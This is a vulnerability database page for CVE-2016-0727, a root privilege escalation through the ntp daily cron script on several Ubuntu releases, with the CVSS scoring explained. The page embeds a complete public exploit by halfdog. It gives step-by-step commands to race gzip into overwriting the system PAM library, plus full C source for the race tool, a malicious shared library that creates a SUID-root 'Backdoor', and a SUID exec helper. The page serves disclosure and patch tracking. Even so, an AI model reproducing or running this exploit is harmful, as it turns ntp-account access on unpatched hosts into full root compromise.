CVE-2016-0727 : Detail

CVE-2016-0727

7.8
/
High
A01-Broken Access Control
0.08%V3
Local
2017-04-14
16h00 +00:00
2017-04-14
14h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The crontab script in the ntp package before 1:4.2.6.p3+dfsg-1ubuntu3.11 on Ubuntu 12.04 LTS, before 1:4.2.6.p5+dfsg-3ubuntu2.14.04.10 on Ubuntu 14.04 LTS, on Ubuntu Wily, and before 1:4.2.8p4+dfsg-3ubuntu5.3 on Ubuntu 16.04 LTS allows local users with access to the ntp account to write to arbitrary files and consequently gain privileges via vectors involving statistics directory cleanup.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-264 Category : Permissions, Privileges, and Access Controls
Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.8 HIGH CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 41764

Publication date : 2016-01-20 23h00 +00:00
Author : halfdog
EDB Verified : No

Source: http://www.halfdog.net/Security/2015/NtpCronjobUserNtpToRootPrivilegeEscalation/ ## Introduction ### Problem description: The cronjob script bundled with ntp package is intended to perform cleanup on statistics files produced by NTP daemon running with statistics enabled. The script is run as root during the daily cronjobs all operations on the ntp-user controlled statistics directory without switching to user ntp. Thus all steps are performed with root permissions in place. Due to multiple bugs in the script, a malicious ntp user can make the backup process to overwrite arbitrary files with content controlled by the attacker, thus gaining root privileges. The problematic parts in /etc/cron.daily/ntp are: find "$statsdir" -type f -mtime +7 -exec rm {} \; # compress whatever is left to save space cd "$statsdir" ls *stats.???????? > /dev/null 2>&1 if [ $? -eq 0 ]; then # Note that gzip won't compress the file names that # are hard links to the live/current files, so this # compresses yesterday and previous, leaving the live # log alone. We supress the warnings gzip issues # about not compressing the linked file. gzip --best --quiet *stats.???????? Relevant targets are: - find and rm invocation is racy, symlinks on rm - rm can be invoked with one attacker controlled option - ls can be invoked with arbitrary number of attacker controlled command line options - gzip can be invoked with arbitrary number of attacker controlled options ## Methods ### Exploitation Goal: A sucessful attack should not be mitigated by symlink security restrictions. Thus the general POSIX/Linux design weakness of missing flags/syscalls for safe opening of path without the setfsuid workaround has to be targeted. See FilesystemRecursionAndSymlinks (http://www.halfdog.net/Security/2010/FilesystemRecursionAndSymlinks/) on that. ### Demonstration: First step is to pass the ls check in the script to trigger gzip, which is more suitable to perform file system changes than ls for executing arbitrary code. As this requires passing command line options to gzip which are not valid for ls, content of statsdir has to be modified exactly in between. This can be easily accomplished by preparing suitable entries in /var/lib/ntp and starting one instance of DirModifyInotify.c (http://www.halfdog.net/Misc/Utils/DirModifyInotify.c) as user ntp: cd /var/lib/ntp mkdir astats.01234567 bstats.01234567 # Copy away library, we will have to restore it afterwards. Without # that, login is disabled on console, via SSH, ... cp -a -- /lib/x86_64-linux-gnu/libpam.so.0.83.1 . gzip < /lib/x86_64-linux-gnu/libpam.so.0.83.1 > astats.01234567/libpam.so.0.83.1stats.01234567 ./DirModifyInotify --Watch bstats.01234567 --WatchCount 5 --MovePath bstats.01234567 --MoveTarget -drfSstats.01234567 & With just that in place, DirModifyInotify will react to the actions of ls, move the directory and thus trigger recursive decompression in gzip instead of plain compression. While gzip is running, the directory astats.01234567 has to replaced also to make it overwrite arbitrary files as user root. As gzip will attempt to restore uid/gid of compressed file to new uncompressed version, this will just change the ownership of PAM library to ntp user. ./DirModifyInotify --Watch astats.01234567 --WatchCount 12 --MovePath astats.01234567 --MoveTarget disabled --LinkTarget /lib/x86_64-linux-gnu/ After the daily cron jobs were run once, libpam.so.0.83.1 can be temporarily replaced, e.g. to create a SUID binary for escalation. LibPam.c (http://www.halfdog.net/Security/2015/NtpCronjobUserNtpToRootPrivilegeEscalation/LibPam.c) SuidExec.c (http://www.halfdog.net/Misc/Utils/SuidExec.c) gcc -Wall -fPIC -c LibPam.c ld -shared -Bdynamic LibPam.o -L/lib -lc -o libPam.so cat libPam.so > /lib/x86_64-linux-gnu/libpam.so.0.83.1 gcc -o Backdoor SuidExec.c /bin/su # Back to normal ./Backdoor /bin/sh -c 'cp --preserve=mode,timestamps -- libpam.so.0.83.1 /lib/x86_64-linux-gnu/libpam.so.0.83.1; chown root.root /lib/x86_64-linux-gnu/libpam.so.0.83.1; exec /bin/sh' --- DirModifyInotify.c --- /** This program waits for notify of file/directory to replace * given directory with symlink. * * Usage: DirModifyInotify --Watch [watchfile0] --WatchCount [num] * --MovePath [path] --MoveTarget [path] --LinkTarget [path] --Verbose * * Parameters: * * --MoveTarget: If set, move path to that target location before * attempting to symlink. * * --LinkTarget: If set, the MovePath is replaced with link to * this path * * Compile: * gcc -o DirModifyInotify DirModifyInotify.c * * Copyright (c) 2010-2016 halfdog <me (%) halfdog.net> * * This software is provided by the copyright owner "as is" to * study it but without any expressed or implied warranties, that * this software is fit for any other purpose. If you try to compile * or run it, you do it solely on your own risk and the copyright * owner shall not be liable for any direct or indirect damage * caused by this software. */ #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/inotify.h> #include <sys/stat.h> #include <unistd.h> int main(int argc, char **argv) { char *movePath=NULL; char *newDirName=NULL; char *symlinkTarget=NULL; int argPos; int handle; int inotifyHandle; int inotifyDataSize=sizeof(struct inotify_event)*16; struct inotify_event *inotifyData; int randomVal; int callCount; int targetCallCount=0; int verboseFlag=0; int result; if(argc<4) return(1); inotifyHandle=inotify_init(); for(argPos=1; argPos<argc; argPos++) { if(!strcmp(argv[argPos], "--Verbose")) { verboseFlag=1; continue; } if(!strcmp(argv[argPos], "--LinkTarget")) { argPos++; if(argPos==argc) return(1); symlinkTarget=argv[argPos]; continue; } if(!strcmp(argv[argPos], "--MovePath")) { argPos++; if(argPos==argc) return(1); movePath=argv[argPos]; continue; } if(!strcmp(argv[argPos], "--MoveTarget")) { argPos++; if(argPos==argc) return(1); newDirName=argv[argPos]; continue; } if(!strcmp(argv[argPos], "--Watch")) { argPos++; if(argPos==argc) return(1); //IN_ALL_EVENTS, IN_CLOSE_WRITE|IN_CLOSE_NOWRITE, IN_OPEN|IN_ACCESS result=inotify_add_watch(inotifyHandle, argv[argPos], IN_ALL_EVENTS); if(result==-1) { fprintf(stderr, "Failed to add watch path %s, error %d\n", argv[argPos], errno); return(1); } continue; } if(!strcmp(argv[argPos], "--WatchCount")) { argPos++; if(argPos==argc) return(1); targetCallCount=atoi(argv[argPos]); continue; } fprintf(stderr, "Unknown option %s\n", argv[argPos]); return(1); } if(!movePath) { fprintf(stderr, "No move path specified!\n" \ "Usage: DirModifyInotify.c --Watch [watchfile0] --MovePath [path]\n" \ " --LinkTarget [path]\n"); return(1); } fprintf(stderr, "Using target call count %d\n", targetCallCount); // Init name of new directory if not already defined. if(!newDirName) { newDirName=(char*)malloc(strlen(movePath)+256); sprintf(newDirName, "%s-moved", movePath); } inotifyData=(struct inotify_event*)malloc(inotifyDataSize); for(callCount=0; ; callCount++) { result=read(inotifyHandle, inotifyData, inotifyDataSize); if(callCount==targetCallCount) { rename(movePath, newDirName); // rmdir(movePath); if(symlinkTarget) symlink(symlinkTarget, movePath); fprintf(stderr, "Move triggered at count %d\n", callCount); break; } if(verboseFlag) { fprintf(stderr, "Received notify %d, result %d, error %s\n", callCount, result, (result<0?strerror(errno):NULL)); } if(result<0) { break; } } return(0); } --- EOF --- --- LibPam.c --- /** This software is provided by the copyright owner "as is" and any * expressed or implied warranties, including, but not limited to, * the implied warranties of merchantability and fitness for a particular * purpose are disclaimed. In no event shall the copyright owner be * liable for any direct, indirect, incidential, special, exemplary or * consequential damages, including, but not limited to, procurement * of substitute goods or services, loss of use, data or profits or * business interruption, however caused and on any theory of liability, * whether in contract, strict liability, or tort, including negligence * or otherwise, arising in any way out of the use of this software, * even if advised of the possibility of such damage. * * Copyright (c) 2015 halfdog <me (%) halfdog.net> * See http://www.halfdog.net/Misc/Utils/ for more information. * * This library just transforms an existing file into a SUID * binary when the library is loaded. * * gcc -Wall -fPIC -c LibPam.c * ld -shared -Bdynamic LibPam.o -L/lib -lc -o libPam.so */ #include <stdio.h> #include <sys/stat.h> #include <unistd.h> /** Library initialization function, called by the linker. If not * named _init, parameter has to be set during linking using -init=name */ extern void _init() { fprintf(stderr, "LibPam.c: Within _init\n"); chown("/var/lib/ntp/Backdoor", 0, 0); chmod("/var/lib/ntp/Backdoor", 04755); } --- EOF --- --- SuidExec.c --- /** This software is provided by the copyright owner "as is" and any * expressed or implied warranties, including, but not limited to, * the implied warranties of merchantability and fitness for a particular * purpose are disclaimed. In no event shall the copyright owner be * liable for any direct, indirect, incidential, special, exemplary or * consequential damages, including, but not limited to, procurement * of substitute goods or services, loss of use, data or profits or * business interruption, however caused and on any theory of liability, * whether in contract, strict liability, or tort, including negligence * or otherwise, arising in any way out of the use of this software, * even if advised of the possibility of such damage. * * Copyright (c) 2015 halfdog <me (%) halfdog.net> * See http://www.halfdog.net/Misc/Utils/ for more information. * * This tool changes to uid/gid 0 and executes the program supplied * via arguments. */ #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> extern char **environ; int main(int argc, char **argv) { if(argc<2) { fprintf(stderr, "Usage: %s [execargs]\n", argv[0]); return(1); } int rUid, eUid, sUid, rGid, eGid, sGid; getresuid(&rUid, &eUid, &sUid); getresgid(&rGid, &eGid, &sGid); if(setresuid(sUid, sUid, rUid)) { fprintf(stderr, "Failed to set uids\n"); return(1); } if(setresgid(sGid, sGid, rGid)) { fprintf(stderr, "Failed to set gids\n"); return(1); } execve(argv[1], argv+1, environ); return(1); } --- EOF ---

Products Mentioned

Configuraton 0

Canonical>>Ubuntu_linux >> Version 12.04

Canonical>>Ubuntu_linux >> Version 14.04

Canonical>>Ubuntu_linux >> Version 16.04

References

http://www.ubuntu.com/usn/USN-3096-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://www.securitytracker.com/id/1034808
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/81552
Tags : vdb-entry, x_refsource_BID